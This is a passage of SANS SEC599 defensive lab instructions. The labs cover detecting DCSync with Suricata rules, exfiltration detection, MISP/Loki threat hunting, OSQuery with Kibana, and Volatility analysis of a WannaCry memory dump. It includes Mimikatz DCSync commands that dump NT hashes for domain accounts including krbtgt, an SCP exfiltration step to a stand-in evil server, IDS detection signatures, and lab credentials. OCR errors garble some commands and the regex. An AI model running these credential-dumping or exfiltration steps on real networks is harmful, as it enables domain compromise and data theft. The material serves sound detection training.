Description: LANDC
Send Alerts to System Log: X (Check the box)

Once done, please scroll down and click the "Save" button.

16. Configure LANDC rules

Once you've clicked the Save button, please click the "Interfaces" menu icon again to
go back to the Suricata overall interfaces overview. You will notice that LANDC has
been added, but the red cross indicates that it's not yet enabled. We will now add a
rule for DCSync to the ruleset, after which we will enable the engine!

In the interface window, please click the "Edit" icon (looks like a pen) in the "LANDC"
entry.



17. Add DCSync rules

In this new window, please click the "LANDC Rules" submenu and select
"custom.rules" in the Category drop-down box.

You can copy / paste the following IDS rules, which were written by NVISO's analyst
Didier Stevens (who is also a SANS ISC handler). CAREFUL: Please copy them one by
one and add an ENTER in between, as the LODS interface will otherwise paste both
rules in one line (which will break the ruleset)!

alert tcp any any -> any any (msg:"Mimikatz DRSUAPI"; flow:established,to_server;
content:"[05 00 0b]"; depth:3; content:"|35 42 51 e3 06 4b d1 11 ab 04 00 c0 4f c2
dc d2|"; depth:100; flowbits:set,drsuapi; flowbits:noalert;

reference:url,blog.didierstevens.com; classtype:policy-violation; sid:1000001; rev:1;)

alert tcp any any -> any any (msg:"Mimikatz DRSUAPI DsGetNCChanges Request”;
flow:established, to_server; flowbits:isset,drsuapi; content:"[05 00 00]"; depth:3;
content:"[00 03]"; offset:22 depth:2; reference:url,blog.didierstevens.com;
classtype:policy-violation; sid:1000002; rev:1;)



18. Start Suricata on LANDC interface

Once the rules have been added, please rever to the Suricata Interfaces window (Click
"Interfaces") and please click the "PLAY" button in the LANDC entry. This should
enable Suricata on the LANDC interface!

Once launched, all three entires (WAN, WEBNET and LANDC) should look exactly the
same (with a green checkbox indicating they are successfully launched).

19. Launch Mimikatz as administrator

Let's now launch Mimikatz as an Administrator. Please close any Mimikatz windows
you still have open and restart Mimikatz. As a reminder, you can find it under the "Red
Team\Mimikatz - 2.1.1\x64" directory. Browse to the folder, right-click Mimikatz.exe ->
"Run as administrator".



You can provide the following administrative domain credentials:

Username: SYNCTECHLABS\Administrator
Password: Synct3chlabs

20. Run DCSync

Inside the Mimikatz command prompt, let's perform a few DCSync attacks by running
the following command:

mimikatz # Isadump::dcsync /user:dwight.schrute
mimikatz # Isadump::dcsync /user:Administrator
mimikatz # Isadump::dcsync /user:alan.marshall
mimikatz # Isadump::dcsync /user:krbtgt

As a result of these commands, you should retrieve the current NT hashes, but also
the historic NT Hashes!

o Leave the Mimikatz window open

21. Analyze Kibana Suricata dashboard

Once you've ran the DCSync commands in the previous step, please switch to Google
Chrome and open the Kibana Suricata dashboard. In the "TOP IDS Rules" table, you
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should clearly see the Mimikatz alerts!

Bonus - Domain Dominance

You have completed the main section of this lab! If you have time left, here are some
other bonus challenges you can attempt:

o Try detecting the golden ticket being used in the Kibana dashboards

o Try creating a golden ticket using the AES key instead of the NTLM hash of the
KRBTGT account

o Try performing a DCShadow attack

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate typical domain dominance strategies and how they can be detected. This is
however not trivial, as you may have seen during the lab. If you have time left, feel
free to attempt the bonus section of this lab.

ATTENTION: Finishing this step will close your lab!



SEC599-5.2: Exercise - Detecting data exfiltration
Objective

As part of the lab, the following data exfiltration methods will be discussed:
e Detect credit card information that is sent out in clear-text using Suricata;

e Detect confidential data that is mailed to recipients outside of the organization using
Suricata;

e Using ntop-ng to detect suspicious volumes being uploaded;

Scenario

Virtual Machines

SEC599-E01 - DomainController
SEC599-E01 - Firewall
SEC599-E01 - Ubuntu01
SEC599-E01 - Ubuntu03
SEC599-E01 - Kali

SEC599-E01 - Windows02

o v bk W=

Exercise 1 : SEC599-5.2

1. Log on to Windows workstation
Log on to the Windows machine with your normal user credentials:

Username: alan.marshall
Password: Awesomesaucel23

2. Logon to pfSense

First of all, we are going to log on to our PfSense firewall, which is positioned at the
perimeter of our network.

You can open the management interface by opening Google Chrome and clicking on
the PfSense firewall bookmark (under the "Administration” folder). The credentials
are:

Username: admin
Password: Awesomesaucel23



3. Configuring Suricata on PfSense
You can open the Suricata configuration by clicking "Services" -> Suricata.

The first page you'll see is an overview of the interfaces on which Suricata has been
configured. You'll notice that we've already added the WAN and WEBNET interfaces.
To give you a bit of background:

o WAN is the "simulated" WAN we are using in which our evil Kali machine
(hosted on www.evilwebserver.com) is sitting. This is the host to which we will
exfiltrate sensitive data!

o WEBNET is the actual outbound internet connectivity



4, Scenario 1 - Credit card data

As a first scenario in this lab, we are going to attempt detection of credit card
information being exfiltrated using an insecure web form. Suricata has a few rules that
can help us detect this type of information, but they are known to be rather prone to
false positives and false negatives. We will write our own rule!

In the Suricata main configuration page, please click on the "Edit" icon (on the right)
for the WAN interface in the overall Suricata configuration page. This should open a
submenu with a number of "WAN ..." items (e.g. WAN Settings, WAN Categories,...).

As a next step, we will click the "WAN Rules" button in Suricata, which is used to
manage the rulesets applied to Suricata. In the dropdown box "Category", we will
select "custom.rules".

In the empty window below, we will write our new rule:

alert ip any any -> any any (msg:"ET POLICY Credit Card Number Detected in Clear
(16 digit)"; pcre:"/(?: " |[\da-f])((6011]622\d[64[4-9]\d[65\d{2}/5[1-5]\d{2} |4
\d{3}3\d{3})[\- J2\d{4}\- J2\d{2}[\- J2\d{2}[\- J2\d{4})(?:[~\da-f][$)/i";
reference:url, www.beachnet.com/~hstiles/cardtype.html;classtype:policy-violation;
sid:300005; rev:1;)

The 1-line rule reviews all ip traffic (any to any), and looks for a PCRE regular
expression that matches 16-digit credit card numbers. Please use the copy / paste
function in LODS to copy this rule. Once the rule is entered, please click the "Save"
button at the bottom of the page.



5. Scenario 1 - Submit CC information

Let's test our rule! We will use the scenario of someone submitting their credit card
information in a clear-text HTTP connection... You can find a credit card submission
page at www.evilwebserver.com/creditcards.html, please open this page in a Chrome
window.

You can get creative with most of the fields, but please do make sure you use the
following, sample, valid credit card number:

4012-8888-8888-1881



6. Scenario 1 - Review Alerts in PfSense

Upon submission of the credit card data, go back to PfSense -> Services -> Suricata
and open the Alerts page. You should see one alert that was triggered due to the
submission of the credit card number (see screenshot).

If you're not receiving an alert, please try submitting the credit card number again.
There could be a small delay due to the load of the new rule in Suricata.



7. Scenario 2 - Analyzing traffic stats using ntopng

Furthermore, we have also installed "ntopng" on our PfSense firewall, which is a
package that supports a wide variety of network diagnostics & monitoring. A highly
interesting feature is "NetFlow" support, which we can use to spot outliers that
generate high amounts of volume.

You can configure ntopng by opening the PfSense main interface and selecting
"Diagnostics" -> "ntopng settings". In the settings screen we will configure the
following fields:

o

Enable ntopng (click checkbox)

o

ntopng Admin Password: "Awesomesaucel123"

o

Confirm ntopng Admin Password: "Awesomesaucel23"

o Interface: LAN and WAN

= Note: we want to investigate traffic coming from our LAN to the evil web
server in the WAN zone

m Note: to select two interaces, hold the "CTRL" button while selecting
them

o Mode: "Consider only LAN interface local"

Once configured, scroll down and click "Save". Upon clicking the "Save" button,
ntopng which launch, which could take up to a minute (please don't visit any other
pages while the browser is loading).



8. Scenario 2 - Open ntopng interface
Now that we have configured ntopng, we will open its interface to start monitoring
traffic. You can do so by opening the following link in PfSense: "Diagnostics" ->
"ntopng".
In the login page, enter the following credentials:

o Username: admin

o Password: Awesomesaucel23



9. Scenario 2 - Select interface and flow matrix

Upon authenticating, you will land on a page that is automatically refreshed every 5
seconds. We will now first select our WAN interface for monitoring, which has an
internal name of "hn1". You can do this by clicking "Interfaces" in the top menu and
selecting "hn1".

Once the page is refreshed, you will notice a summary view of this interface, with two
donut-shaped diagrams that break down the traffic. We will now access the flow
matrix, which provides an interesting view on traffic between different hosts and
segments, You can open through: "Hosts" -> "Local Flow Matrix".

In your initial view, you may not see any hosts at all (this is not an issue, we will soon
start generating data).



10. Scenario 2 - Exfiltrate data using SCP
Finally, we will now exfiltrate some information in encrypted fashion using SCP. We will

open WiInSCP (you can find it on the desktop) and connect to www.evilwebserver.com.
You should introduce the following details:

o Host: www.evilwebserver.com

o Username: root

o Password: Awesomesaucel23

Once the transfer window is opened, please configure the left window (local) to
"Desktop\Blue Team". From the "Desktop\Bluea Team", drag and drop the "exfil.7z"
file to the remote window.



11. Scenario 2 - Review statistics in ntopng

Finally, we will now refresh (F5) the matrix in ntopng and we should see a number of
interesting items:

o Thereis a "new" host called "www" which is directly being talked to by
192.168.10.16 (unusual, as most traffic traverses the proxy / pfSense);

o The volume is rather high compared to the usual traffic that was being
generated.

Feel free to play around with some of the other views in ntopng and see whether you
can detect other areas of interest.

The objective of this lab was to show you a few techniques you could investigate to
detect data exfiltration. As already indicated in the course however, there is no silver
bullet here... Furthermore, the rise of cloud-based services is making detection of data
exfiltration on the network-level increasingly difficult!
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Bonus - Bro Data Exfil Framework

You have finished the main section of this lab! If you have time left, try experimenting
with the Bro Exfil framework, it has been downloaded to the Ubuntu03 machine.
Here's some steps:

o Can you start sniffing on the PFSense firewall (to generate a PCAP file
afterwards)

o Configure Bro (Zeek) with the Exfil Framework
o Process the PCAP using Bro (Zeek)

o Review the Exfil framework results

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how data exfiltration can be detected using two main strategies: signature-
based and volume-based. If you have time left, feel free to attempt the bonus section
of this lab.

ATTENTION: Finishing this step will close your lab!



SEC599-5.3: Exercise - Leveraging threat intelligence with MISP &
Loki

Objective

High-level exercise steps:

e Get acquainted with the MISP interface

e Adding an event & attributes in MISP

e Exporting YARA rules from MISP

e Running Loki using the exported YARA rules

Scenario

Virtual Machines

1. SEC599-E01 - DomainController
2. SEC599-E01 - Firewall

3. SEC599-E01 - Ubuntu02

4. SEC599-E01 - Windows02

Exercise 1 : SEC599-5.3

The objective of the lab is to leverage threat intelligence that is available in MISP. We will
perform a small walkthrough of the MISP interface, after which we will download some YARA
rules and use them as input for the Loki APT scanner!

High-level exercise steps:

e Get acquainted with the MISP interface

e Adding an event & attributes in MISP

e Exporting YARA rules from MISP

e Running Loki using the exported YARA rules

1. Authenticate to Windows workstation

As a first step, let's authenticate to our Windows workstation using the following
credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

2. Open MISP web interface

We will use the MISP (Malware Information Sharing Platform) for the purposes of



exchanging threat intelligence. From its official web site:

A platform for sharing, storing and correlating Indicators of Compromises of targeted
attacks. Discover how MISP is used today in multiple organisations. Not only to store,
share, collaborate on malware, but also to use the IOCs to detect and prevent attacks.

We have set up a MISP instance inside our lab environment, which is preloaded with a
number of open source intelligence feeds. Let's explore the interface by opening
Google Chrome and browsing the MISP bookmark. Ignore the self-signed certificate
error and use the following credentials:

o Username: alan.marshall@synctechlabs.com

o Password: Awesomesaucel23

3. Exploring the MISP interface - Events

Once authenticated, the first page you see in MISP is the "Events" page. Note that
you may need to zoom out a little bit in Chrome, as the "Events" page has a lot of
information.

An "Event" in MISP can be compared to an attack campaign for which I0Cs exist. In
the "Events" view, you will notice the following fields per event:
o The organization that created the event;

o Theeventid;



o If available, contextual information such as Threat Actor or Tools;

o Tags, which could include for example the source of the event or the TLP
(Traffic Light Protocol) classification for the event;

o The number of attributes (an attribute is typically an actual I0OC);
o The date the event was added;

o The name of the event;

o The distribution settings for the event;

o ..

You can click on the event id, which will open that event (and all linked attributes).

4. Exploring the MISP interface - Attributes

Once you open an event (by clicking its event ID), you will receive a detailed view of
the event. In our example, we've opened event ID 1157, which is related to a "return”
of NotPetya.

When scrolling down, you will also see all attributes linked to this event. Attributes are
usually "IOCs" that we can use to perform active hunting or incident response! Typical
example categories include:

o Hostnames

o IP addresses



o

File hashes
o Tools

o YARA rules
IDS rules

o

5. Exploring the MISP interface - Search Attributes
Imagine you've identified a hostname, file hash,... during one of your investigations
and you'd like to see if there's any related information in MISP... You can achieve this
by clicking the "Event Actions" -> "Search Attributes". Just to illustrate the search
function, let's try searching for the following domain name:
"halley-informatica.com"

You can enter the value in the "Containing the following expressions" field.

This should render a few results, which you can further investigate.



6. Exploring the MISP Interface - Adding Events

Throughout your investigations & research, at some point you will most likely identify
some interesting malware-related information! It's a good idea to add this information
as events / attributes in MISP. Even if it's sensitive information, you can centralize it in
your own MISP instance and choose not to share it with other communities.

It can then be used in an automated fashion to feed your detection technology (e.g.
SIEM, EDR tools,...). You can add information in MISP by clicking: "Event Actions" ->

"Add Event".

o In this first screen, you need to provide some initial information about the
event:

What is the date?

What is the threat level?

Who do you want to distribute the event (& its attributes) to?
What is the analysis stage?

A quick event description



7. Exploring the MISP interface - Adding attributes

Once you clicked the "Add" button in the "Add Event" screen, you will now land in the
detailed event screen. On the left-hand side (in the menu), you can now select a
number of options:

o "Add Attribute" (to add attributes one by one)

o "Populate from" will allow you to add a set of attributes from an external
source (e.g. an OpenIOC file)

o ..
We will select "Add Attribute" and add the following type of attribute:
o Category: "Network actvitiy"
o Type: "user-agent"
o Value: "certutil.exe"

o Contextual comment:"Built-in Microsoft tool abused to download additional
payloads"

A bit of context: CertUtil is often used as a "living-off-the-land" technique to download
additional payloads. Once finished, please click "Submit" to finish adding the
information to MISP.



8. Exploring the MISP interface - Servers &amp; Feeds

So... We've created an event and added an attribute!
The main idea behind MISP is of course the sharing of threat information! Under the
"Sync Actions" menu, you'll notice two options for this:

o List Servers

o List Feeds

"Servers" are other MISP instances to which you are connected. You can see this as a
sort of "trusted" P2P network with other parties with whom you'd like to share
information. It's important to note that you can use fine-grained authorization levels
to determine what information is shared with whom.

"Feeds" are third-party feeds that are loaded in your local MISP instance. The events
& attributes you've just looked at are part of a number of open source threat
intelligence feeds that have been loaded in MISP by default!

Let's click the "List Feeds" button and have a quick look at the different sources!



9. Exploring the MISP interface - Export IOCs

So... How do we USE this information that is inside MISP? There's a few options to
achieve this:

o Some tools support direct interaction with the MISP API to load intelligence
(using an authorization key).

o MISP also has an "export" function available to export attributes, so they can
be loaded in third-party tools. You can click the "Event Actions" -> "Export"
button, where you will see that a wide variety of export formats is supported
(including Suricata, Snort, JSON, XML,...)

Although Loki has a python script to fetch information from MISP automatically, it's
not always that reliable. We will thus download all YARA rules in our MISP instance
using the following URL:

https://misp.internal.synctechlabs.com/attributes/text/download/yara

Please copy / paste this URL in the Chrome browser and hit ENTER. This will initiate a
download of "misp.yara.txt".



10. Moving misp.yara.txt to Loki

Let's now move the extracted YARA rules file (misp.yara.txt) to the Loki folder, so it
gets parsed during Loki's scanning activities. You can find the downloaded file here:

C:\Users\alan.marshall\Downloads\misp.yara.txt
The folder we want to move it to us:
C:\Users\alan.marshall\Desktop\Blue Team\Loki\sighature-base\yara

We will also rename the file to "misp.yara", so it will be in line with the other YARA
rule-files already present.



11. Analyzing misp.yara

Now, let's open up the .yara file that we just moved. You can right-click the misp.yara
file and select "Edit with Notepad++". Should Notepad++ prompt you for an update,
please ignore it by clicking the "Cancel" button in the pop-up window.

Feel free to have a quick look at the file to understand the structure. You should
recognize the typical YARA rule file structure!



12. Having a look at Loki

So, let's have a look at Loki! We've already installed Loki on the Desktop of our user.
Loki was developed by Florian Roth of BFK Consulting, it is the "little brother" of the
commercial tool Thor.

Now that we've downloaded our iocs from MISP and placed them in the right
directory, we can now run Loki. First, right-click the command prompt icon, right-click
"Command Prompt" and select "Run as Administrator". Next to the file system, Loki
can also scan the entire machine memory, for which it requires administrative
credentials. You can use the following credential set:

o Username: alan.marshall.adm
o Password: Securlty

Once the command prompt is opened, please navigate to the following directory:

C:\Users\alan.marshall\Desktop\Blue Team\Loki



13. Review Loki options

Once inside the right directory, let's launch Loki to obtain an overview of available
options:

C:\Users\alan.marshall\Desktop\Blue Team\Loki\> Loki.exe -h

As we indicated before, Loki is capable of scanning the filesystem and memory of
target hosts. This however also means that it can take quite a while to scan every
single file on the filesystem for a large set of YARA rules.

In our example, we will run Loki using the "--nofilescan”, which will skip Loki's file
system scan and thus mainly focus its efforts on the machine memory.

14. Running Loki using --nofilescan

We will now launch Loki using the following command line:
C:\Users\alan.marshall\Desktop\Blue Team\Loki> Loki.exe --nofilescan

You will notice that Loki is quite verbose! Loki will first load all available IOCs and
YARA rules, after which it will start looking for them throughout the system memory.
You might be scared by some of the errors at the start. Please don't mind these, this
is linked to "md5" as a field, which is used in the "hash" submodule in YARA, which
we haven't installed as part of Loki. These rules will thus be ignored.

At the end of this scan, you should receive a message indicating that the system is
clean. This is to be expected, as we are currently only scanning the memory (not the
file system) and we are not running any "suspicious" tools...



15. Adding some suspicious items...

Now, let's make our system look a bit more suspicious by doing the following:

o In a new command prompt, go to "C:\Users\alan.marshall\Desktop\Red
Team\Mimikatz - 2.1.1\x64" and run "Mimikatz.exe". Don't specify any
arguments, just open the Mimikatz prompt

Please refer to the screenshot for the expected result.

16. Run Loki again

Now, let's go back to our administrative command prompt (or, if you closed it, open it
again using administrative credentials) and run Loki again using the following syntax:



C:\Users\alan.marshall\Desktop\Blue Team\Loki> Loki.exe --nofilescan

You will again see some rather verbose output, after which you should now receive a
warning on a IOC hit: A filename pattern match for Mimikatz!

It's a good idea to automatically perform this type of hunting in your environment
(e.g. by downloading new intel from MISP on a weekly basis and running a weekly
Loki scan using the new intel)... As we've seen during multiple exercises already,
GPQ's can come in handy for this type of automation!

17. Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how MISP can be used as a central platform to collect and distribute Threat
Intelligence. Furthermore, we used Loki as an example of how intelligence can be
used to perform an "IOC scan" of a target system!

ATTENTION: Finishing this step will close your lab!



SEC599-5.4: Exercise - Hunting your environment using OSQuery

Objective

High-level exercise steps:

e Configure “packs” in Kolide Fleet to configure routine data collection

e Build visualizations for hunting in Kibana

e Build dashboards for hunting in Kibana

e Perform some initial analysis

Scenario

Virtual Machines

i A=

SEC599-E01 - DomainController
SEC599-E01 - Firewall
SEC599-E01 - Ubuntu03
SEC599-E01 - Windows01
SEC599-E01 - Windows02

Exercise 1 : SEC599-5.4

1.

Authenticate to Windows workstation

We will start this lab by authenticating to our Windows workstation using our usual
credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

Start our Elastic monitoring stack

Let's start our logstash service on 192.168.30.16. This can be achieved using the
following steps:

o Opening putty.exe from the Desktop
o Connecting to Ubuntu03 (double-click the entry that was created)

o In the Putty window, please execute the following commands (use the
password Awesomesaucel23 for the sudo command):

alanmarshall@ubuntu03:~$ sudo -s
root@ubuntu03:~# service logstash start
root@ubuntu03:~# service filebeat start



We will use Filebeat to forward logs from Kolide Fleet to our Elastic stack!

3. Opening the Kolide interface
Let's have a look at the Kolide web interface, which can do by first opening Google

Chrome and selecting the "Kolide Fleet" entry in the Bookmarks toolbar.
You can authenticate to Kolide using the following credentials:
o Username: alan.marshall@synctechlabs.com

o Password: Awesomesaucel23!



4. Exploring the Kolide interface

Once authenticated, the initial Kolide fleet will provide an overview of hosts that are
reporting information! In our overview, you will see a "WINDOWSO01" and a
"WINDOWS02" machine. We have installed OSQuery on both Windows machines!

Feel free to further explore (and play around with) the interface! In the next step, we
will launch a query!



5. Create a Kolide Query

Let's run a query! In order to open the Kolide Query menu, please click the second
icon in the menu on the left-hand side (which resembles a database icon).

In this view, select "Create New Query"! We will now create a quick sample query
using the following inputs:

o Query Title: "Startup items"

O SQL: SELECT * FROM startup_items;

o Click "Save" and "Save as new..."

For the desired configuration result, please review the screenshot. To confirm the
query was created, please click the "Queries" button again (second item in the menu
on the left) to see if your query was created.



6. Create additional queries

As you did in the previous step, please create the following additional queries:

Query Title: "Fileless executables"
SQL: SELECT * FROM processes where on_disk=0;

Query Title: "Running processes"
SQL: SELECT * FROM processes;

Query Title: "Users"
SQL: SELECT * FROM users;
For some additional inspiration, please feel free to review:

o The built-in packs of OSQuery (can be found in C:\ProgramData\osquery
\packs)

We will create some more queries in the bonus section of this lab! The desired final
query overview can be found in the attached screenshot.



7. Create OSQuery pack

Let's now create an OSQuery pack, which will include all of the queries developed
above! A pack is a series of queries that runs periodically! In order to do so, please
click the "pack" icon in the menu on the left (third button). We will create a new pack
with the following properties:

Query Pack Title: "Hunting Windows Systems"
Select Pack Targets: "MS Windows" (please click the "+" icon)

Once this is done, please click the "Save Query Pack" button.



8. Add queries to the pack

In the next window, please focus on the right-hand side of the window and select the
queries that are to be added to the pack! You can select all queries you created in the
previous step. Please configure all of them with the following settings:

Interval: 30 seconds
Logging: Differential

You will have to add the queries one by one... The differential setting means that
OSQuery will only log changes from the previous query result. This is a good way of
spotting newly added startup items for persistence for example!



9. Open Kibana to view logs

10.

Please open Chrome and click on the "Kibana" bookmark. You will need credentials,
which are the following:

o Username: alanmarshall
o Password: Awesomesaucel23

Throughout most of the week, we've been kind and have given you a nicely prepared
Elastic environment with searches, visualizations and dashboards prepared. Now we
will however ask you to create this yourself for the OSQuery logs!

Open Kibana Discover

Let's start of by making sure our logs are arriving it in the stack. Please click the
"Discover" button. In the discover view, change the time filter to "Today" (top right of
the window). Afterwards, please click the "Add a filter +" button.

Configure the filter as follows:

lltypell Ilisll "Osquery"

Label: OSQuery

Please refer to the screenshot for the desired filter configuration. Once correctly
configured, please click the "Save" button.



11. Save Search

Once the filter has been saved, the results will update and we will only see results
with the "osquery" type. Please save our work by clicking the "Save" button at the top
of the window (between "New" and "Open").

In the "Save search" window, enter "OSQuery" and click "Confirm save".



12. Create indices for new data
While reviewing your data, you may have noticed some small "warning signs" in
yellow next to some of the fields. This is to be expected, as that indicates new fields
for which no indices have been created yet.
Creating them is a fairly straight-forward process:
o Click Management
o Click Index Patterns
o Click the "refresh" icon on the right-hand side of the screen

Kibana will ask you to confirm the refresh, as this will reset the "popularity" counters
for the different fields. You can just confirm.



13. Create a new dashboard

Now that our index patterns have been created, let's create an "OSQuery" dashboard.
You can do so by clicking the Dashboard menu item on the left. In the dashboard
selection screen, click the "Create new dashboard" button to create a new dashboard.

In the empty dashboard click "Save", enter the "OSQuery" title and click "Confirm
Save". We now have a brand new, empty, dashboard called OSQuery!



14. Create a histogram visualization

Let's create some visualizations! This is where you can unleash your creativity to
create interesting visualizations that can help threat hunters! Please click the
"Visualize" menu item and click the "+" button in the screen to create a new
visualization.

In the next screen, we will select a "Vertical Bar" visualization.



15. Select OSQuery saved search
In the next field, please slect the "OSQuery" saved search that you just created!



16. Create time histogram visualization

In the next window, we would like to create a "time histogram" to see when OSQuery
log events occured! We can do this by doing the following:

o Clicking "X-Axis" in the Buckets menu

o Click the "Select an aggregation" field and select "Date Histogram"
o Click the "Add Sub-Buckets" button

o Select "Split Series"

o Click the "Select an aggregation" and select "Terms"

o In the "Field" selection enter "name.keyword"

o Press the "Play" button above the "Metrics" menu

This should result in one large bar in a graph. This is normal, as the OSQuery events
are differential and no changes have occured since the inital logs were created. You
will also see in the legend what query type was being executed! You can scroll to the
top of the screen and save this visualization as "OSQuery - Histogram".

Troubleshoot advice: If the "Play" button provides "No results", please make sure that
Kibana's time query is broad enough. You can adapt it by scrolling to the top-right of
the screen clicking the time window and adapting it to for example "Last 1 hour" or
"Today".



17. Save the visualization

Now, let's go to the top of the page and save the query. You can call this visualization
"OSQuery - Histogram".



18. Add visualization and search to OSQuery dashboard

Let's try to add our visualization and the saved search to the OSQuery dashboard!
Please open the OSQuery dashboard (Click "Dashboard" -> "OSQuery").

Once the empty dashboard is open, please click the "Edit" button at the top of the
screen. Once the dashboard is in edit mode, an "Add" button will appear as well,
please click it.

In the new field, let's search for the OSQuery visualization we just created! You can
start typing "OSQuery" and select the "OSQuery - Histogram" visualization as soon as
it appears!



19. Add OSQuery saved search

20.

Next, let's click the "Add" button again. This time however, we will add a "Saved
Search" instead of a visualization, so please click the "Saved Search" button under the
"Add Panels" title. In this new window, please click "OSQuery".

Resize panels

Now, let's resize the panels so they fit your screen a bit better! For Kibana
visualizations, monitor size and screen estate matters!

Feel free to refer to the screenshot for an example.

Finally, don't forget to click the "Save" button at the top to save the updated
dashboard.



21.

22.

Bonus - OSQuery hunting

You have finished the main section of this lab! If you have time left, please try some
of the following bonus activities:

o Can you update the query packs used by OSQuery? Here's some inspirations:
https://github.com/teoseller/osquery-attck
o Can you create some additional, more meaningful, visualizations in OSQuery?

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to

illustrate how Kolide Fleet & OSQuery can be used to perform routine data collection

for threat hunting. If you have time left, feel free to attempt the bonus section of this
lab.

ATTENTION: Finishing this step will close your lab!



SEC599-5.5: Exercise - Finding malware using Volatility & YarGen
Objective

The following are high-level exercise steps we’ll need to complete:

e Analyzing an acquired memory dump using Volatility

e Dumping a process from Volatility

e Generating YARA rules based on the sample using YarGen

e Testing our newly developed YARA rules in our environment

Scenario

Virtual Machines

1. SEC599-E01 - DomainController
2. SEC599-E01 - Firewall

3. SEC599-E01 - Ubuntu02

4. SEC599-E01 - Windows02

SEC599-5.5

1. Authenticate to Windows workstation

As always, we'll authenticate to our Windows workstation using the following
credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

2. Opening a command prompt window

During this lab, we will leverage Volatility to analyze a memory dump of an infected
system. As a first step, please open a command prompt window by clicking the icon in
the taskbar.

In the command prompt window, we can browse the volatility folder:

C:\Users\alan.marshall> cd "Desktop\Blue Team\Volatility"
C:\Users\alan.marshall\Desktop\Blue Team\Volatility> dir
You will notice 2 folders:
o 2.6 - standalone: This includes a standalone Windows executable
o latest - source: This includes the latest version with all source code

We have two different version as the source code has the latest image profiles needed



for the latest Windows versions. More on that later!

3. Analyze memory dump using Volatility source

We will use the source code version of Volatility to analyze a memory dump that is
available to you. The memory dump is stored on your Windows Desktop
(memdump.mem) and it has been infected with some malware.

Although we are not memory forensics experts, we will do a quick analysis using
Volatility! Let's have a look at what Volatility has to offer. Please browse the "latest -
source" directory and run Volatility using the following commands:

C:\Users\alan.marshall\Desktop\Blue Team\Volatility> cd "latest - source"
C:\Users\alan.marshall\Desktop\Blue Team\Volatility\latest - source>
vol.py -h

The "-h" argument dumps out a useful manual including all of the features supported
by Volatility. Volatility includes a wide range of highly interesting modules that can be
used to analyze a memory dump:

o pslist - Obtain overview of running processes

o procdump - Dump processes as executables

o Isadump - Dump LSASS secrets (think Mimikatz offline)
o hivelist - Analze and dump information from the registry

o malfind - Find and extract injected code (beware: this is a bit more
"advanced")

O vyarascan - Scan the memory dump using YARA rules

o ...

Before we start doing any of these however, we'll first need to identify the profile of
the memory dump (as Volatility needs to know the exact memory layout). The profile
is different for different OS versions. But how do you know what the profile type is?

o You might know yourself, if you took the image yourself, or if the person who



created it provided this information

o Volatility has a module called "imageinfo", which will attempt to fingerprint the
profile of the memory dump (BEWARE: It can take quite a long time!)



4. Running imageinfo on our memory dump

As indicated before, running "imageinfo" can take quite a while... We will thus provide
you with the profile name to use. The image was from a recent Windows 7 64-bit
system and the profile is "Win7SP1x64_23418".

If you would like to run "imageinfo" yourself, the syntax to do so is (see screenshot):

C:\Users\alan.marshall\Desktop\Blue Team\Volatility\latest -
source> vol.py imageinfo -f "..\..\memdump.mem"

5. Reviewing process list of the memory dump

Now that we know the profile name, we can start performing an analysis of the
memory dump. Let's try reviewing a process list! A very well-known command in
Volatility is "pslist", which should return a list of running processes at the time of the
memory dump. You can run it by using the following command:

C:\Users\alan.marshall\Desktop\Blue Team\Volatility\latest -
source> vol.py pslist -f "..\..\memdump.mem" --profile="Win7SP1x64_23418"

Note that we specify the filename using the "-f" flag and the profile type using "--
profile"!



6. Analyzing the results of pslist

The pslist module will provide us with an overview of running processes! Be careful
though, as the module has a few limitations and some processes may be
hidden. When we review the Volatility documentation, it will tell us that:

"To list the processes of a system, use the pslist command. This walks the doubly-
linked list pointed to by PsActiveProcessHead and shows the offset, process name,
process ID, the parent process ID, number of threads, number of handles, and
date/time when the process started and exited. As of 2.1 it also shows the Session ID
and if the process is a Wow64 process (it uses a 32 bit address space on a 64 bit
kernel). This plugin does not detect hidden or unlinked processes (but
psscan can do that)."

Based on the pslist output, can you identify suspicious executables?

7. Identifying interesting processes

When carefully observing the output of pslist, you should see that there are two
highly interesting process names:

o @WanaDecryptor (2 instances, running as PID 1140 and PID 812)
o wannacry.exe (PID 1104)

You can do a quick "parent process" review and notice that the parent process ID for
wannacry.exe was explorer.exe, which could indicate the user just clicked the files
from an explorer window? (this is of course just a hypothesis that should be further
investigated).



8. Extract interesting executables from memory dump

We can further analyze the memory dump by extracting the relevant samples from the
memory dump. The "procdump" module can be used for this purpose, it expects a "--
dump-dir" parameter (to configure where it should dump extract files). As an optional
parameter, a process ID can be configured using the "-p" parameter. Careful, when
the "procdump"” module is used without providing process IDs, it will dump all running
executables.

We will invoke it three times, to dump "wannacry.exe" and both "@WanaDecryptor"
files:

C:\Users\alan.marshall\Desktop\Blue Team\Volatility\latest -

source> vol.py procdump --dump-dir="C:\Users\alan.marshall\Desktop\Blue Team"
-p 1104 -f "..\..\memdump.mem" --profile="Win7SP1x64_23418"
C:\Users\alan.marshall\Desktop\Blue Team\Volatility\latest -

source> vol.py procdump --dump-dir="C:\Users\alan.marshall\Desktop\Blue Team"
-p 1140 -f "..\..\memdump.mem" --profile="Win7SP1x64_23418"
C:\Users\alan.marshall\Desktop\Blue Team\Volatility\latest -

source> vol.py procdump --dump-dir="C:\Users\alan.marshall\Desktop\Blue Team"
-p 812 -f "..\..\memdump.mem" --profile="Win7SP1x64_23418"



0.

10.

Open WinSCP

We will analyze the extracted sample on one of our dedicated malware analysis
machines. Please launch WinSCP.exe in order to copy our malware samples to an
Ubuntu box in our CSOC environment (Ubuntu02 - 192.168.30.15).

We want to set up a connection to 192.168.30.15, with the following credentials:

Username: alanmarshall
Password: Awesomesaucel23

As this is the first time you connect to the system, WinSCP will pop up a warning
asking you if you would like to connect to an "unknown host". You can select "Yes", as
you indeed want to connect to the Linux system.

Copy malware sample

We will copy the sample from the Desktop to the /tmp directory on our Linux machine
using the following steps:

o Use the dropdown box on the left to change the local folder location to
"Desktop\Blue Team";

o Use the dropdown box on the right to change the remote folder location (right
window in WinSCP - Currently "alanmarshall") to the "/tmp" folder;

o In the remote window (right side), create a folder called "YARA" in the "/tmp"
